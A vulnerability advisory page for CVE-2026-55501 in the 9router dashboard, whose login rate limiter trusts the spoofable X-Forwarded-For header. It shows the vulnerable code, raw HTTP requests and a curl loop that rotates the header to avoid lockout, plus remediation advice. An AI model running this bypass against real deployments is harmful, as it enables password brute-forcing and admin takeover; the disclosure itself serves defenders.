Skip to main content

9router EUVDEUVD-2026-42926

| CVE-2026-55501 HIGH
Authentication Bypass by Spoofing (CWE-290)
2026-07-06 https://github.com/decolua/9router GHSA-7cfm-pqrj-xgq7
7.3
CVSS 3.1 · Vendor: https://github.com/decolua/9router
Share

Severity by source

Vendor (https://github.com/decolua/9router) PRIMARY
7.3 HIGH
AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
vuln.today AI
7.3 HIGH

Network-reachable, low-complexity, unauthenticated header spoofing (AV:N/AC:L/PR:N/UI:N); low C/I/A because it defeats a protection mechanism enabling credential brute-force rather than granting direct compromise.

3.1 AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
4.0 AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N

Primary rating from Vendor (https://github.com/decolua/9router).

CVSS VectorVendor: https://github.com/decolua/9router

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
Confidentiality
Low
Integrity
Low
Availability
Low

Lifecycle Timeline

1
Analysis Generated
Jul 06, 2026 - 22:25 vuln.today

DescriptionCVE.org

Summary

The 9router dashboard login rate limiter derives the client identity from the attacker-controlled X-Forwarded-For HTTP header. When 9router is directly exposed, or deployed behind a reverse proxy that does not overwrite untrusted forwarding headers, a remote attacker can rotate the X-Forwarded-For value on each login attempt and receive a fresh rate-limit bucket every time.

This bypasses the dashboard brute-force protection and makes the login lockout mechanism ineffective.

Details

ComponentFileNote
Dashboard login rate limitersrc/lib/auth/loginLimiter.jsUses X-Forwarded-For as the client identity without a trusted-proxy check
Dashboard login routesrc/app/api/auth/login/route.jsCalls checkLock() and recordFail() using the spoofable client identity
Vulnerable Code

src/lib/auth/loginLimiter.js:

js
export function getClientIp(request) {
  const xff = request.headers.get("x-forwarded-for");
  if (xff) return xff.split(",")[0].trim();
  return request.headers.get("x-real-ip") || "unknown";
}

The returned value is used as the key for the in-memory rate-limit state:

js
const attempts = new Map(); // ip -> { fails, lockUntil, lockLevel, lastFailAt }

The login route uses this value when checking and recording failed login attempts:

js
export async function POST(request) {
  const ip = getClientIp(request);
  const lock = checkLock(ip);

  if (lock.locked) {
    return NextResponse.json(
      { error: `Too many failed attempts. Try again in ${lock.retryAfter}s.` },
      { status: 429 }
    );
  }

  // ... password validation ...

  recordFail(ip);
}

Because X-Forwarded-For is accepted directly from the request, each unique header value creates a new rate-limit bucket with zero previous failures. An attacker can therefore bypass both the 5-attempt threshold and the progressive lockout durations.

PoC

Step 1 - Baseline: rate limiter triggers when the client identity is stable

Send repeated failed login attempts with the same X-Forwarded-For value:

http
POST /api/auth/login HTTP/1.1
Host: localhost:20128
Content-Type: application/json
X-Forwarded-For: 1.1.1.1

{"password":"wrong-password"}

Observed behavior:

AttemptResponse
1Invalid password. 4 attempt(s) left before lockout.
2Invalid password. 3 attempt(s) left before lockout.
3Invalid password. 2 attempt(s) left before lockout.
4Invalid password. 1 attempt(s) left before lockout.
5Too many failed attempts. Try again in 30s.
6Too many failed attempts. Try again in 30s.

This confirms that the lockout logic works when all attempts are assigned to the same rate-limit bucket.

Step 2 - Bypass: rotate X-Forwarded-For on each request

Send failed login attempts while changing the X-Forwarded-For value for every request:

bash
for i in $(seq 1 10); do
  curl -s -X POST "http://localhost:20128/api/auth/login" \
    -H "Content-Type: application/json" \
    -H "X-Forwarded-For: 10.0.0.$i" \
    -d '{"password":"wrong-password"}'
  echo
done

Observed response for every request:

json
{
  "error": "Invalid password. 4 attempt(s) left before lockout.",
  "remainingBeforeLock": 4
}

The counter resets to the initial state on every request, and the lockout is never triggered.

Step 3 - Impact amplifier: default dashboard password

If the instance is still using the default dashboard password, the rate-limit bypass allows an attacker to avoid lockout while attempting to authenticate.

Example request:

http
POST /api/auth/login HTTP/1.1
Host: localhost:20128
Content-Type: application/json
X-Forwarded-For: 99.99.99.99

{"password":"<default-dashboard-password>"}

Observed response on a default installation:

http
HTTP/1.1 200 OK
Set-Cookie: auth_token=<redacted>; Path=/; HttpOnly; SameSite=lax
json
{
  "success": true
}

The default password is an impact amplifier, not the root cause. Even if an administrator changes the password, the rate limiter remains structurally bypassable because the attacker controls the rate-limit key.

Attack Scenario

  1. A remote attacker identifies a publicly reachable 9router dashboard.
  2. The attacker sends repeated login attempts to /api/auth/login.
  3. For each attempt, the attacker changes the X-Forwarded-For header value.
  4. 9router treats each request as a different client and assigns a fresh rate-limit bucket.
  5. The attacker can continue brute-force attempts without triggering the configured lockout.
  6. If the instance uses a weak or default dashboard password, the attacker can gain administrative access.

Impact

A successful attacker can bypass the dashboard login lockout mechanism and perform unlimited brute-force attempts against the 9router dashboard password.

If authentication succeeds, the attacker can gain administrative access to the 9router dashboard and may be able to:

  • Access configured provider credentials and API keys.
  • Change dashboard and authentication settings.
  • Disable login protection if the application allows it.
  • Create persistent API keys or other long-lived access tokens.
  • Modify application configuration.
  • Chain the access with other server-side functionality exposed by the dashboard.

AnalysisAI

Brute-force protection bypass in the 9router dashboard (npm package 9router) lets remote attackers defeat the login lockout by rotating the attacker-controlled X-Forwarded-For header on each request, giving every attempt a fresh rate-limit bucket. Because the CVSS vector is PR:N/UI:N, unauthenticated remote attackers can target any instance directly exposed or sitting behind a proxy that does not overwrite forwarding headers, enabling unlimited password guessing and, against default or weak credentials, full administrative takeover. A working exploit is published in the GitHub Security Advisory (GHSA-7cfm-pqrj-xgq7); the issue is not listed in CISA KEV and no EPSS score was provided.

Technical ContextAI

9router is a Node.js/Next.js application (routes under src/app/api and libraries under src/lib) that proxies AI/LLM providers and exposes an administrative dashboard. The flaw is a CWE-290 (Authentication Bypass by Spoofing) condition in the dashboard's in-memory login rate limiter (src/lib/auth/loginLimiter.js). The getClientIp() helper trusts the first value of the X-Forwarded-For header (falling back to X-Real-IP, then 'unknown') with no trusted-proxy allowlist, and that value is used directly as the key of an in-memory Map (ip -> {fails, lockUntil, lockLevel, lastFailAt}) that drives checkLock()/recordFail() in src/app/api/auth/login/route.js. Since HTTP forwarding headers are client-supplied and only trustworthy when a controlled reverse proxy overwrites them, using the raw header as an identity key means the client, not the server, controls which throttling bucket a request lands in.

RemediationAI

No vendor-released patch version was identified at time of analysis, so track the GitHub Security Advisory GHSA-7cfm-pqrj-xgq7 (https://github.com/decolua/9router/security/advisories/GHSA-7cfm-pqrj-xgq7) for a fixed release and upgrade as soon as one is published. As a code-level fix, derive the client identity from the trusted transport source (the direct socket/remote address) rather than the raw X-Forwarded-For header, or only honor forwarding headers from an explicit trusted-proxy allowlist and take the right-most untrusted hop. Operationally, place 9router behind a reverse proxy configured to strip and re-write incoming X-Forwarded-For / X-Real-IP so clients cannot supply their own values (side effect: you must then trust and correctly configure that proxy, or legitimate client-IP logging breaks). Immediately change any default dashboard password to a strong unique secret to remove the brute-force amplifier, restrict network access to the dashboard and the /api/auth/login endpoint to trusted management networks or VPN, and consider adding an out-of-band control such as a global per-endpoint attempt cap or CAPTCHA/MFA that does not depend on the spoofable client IP (trade-off: added friction for legitimate admins).

Share

EUVD-2026-42926 vulnerability details – vuln.today

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy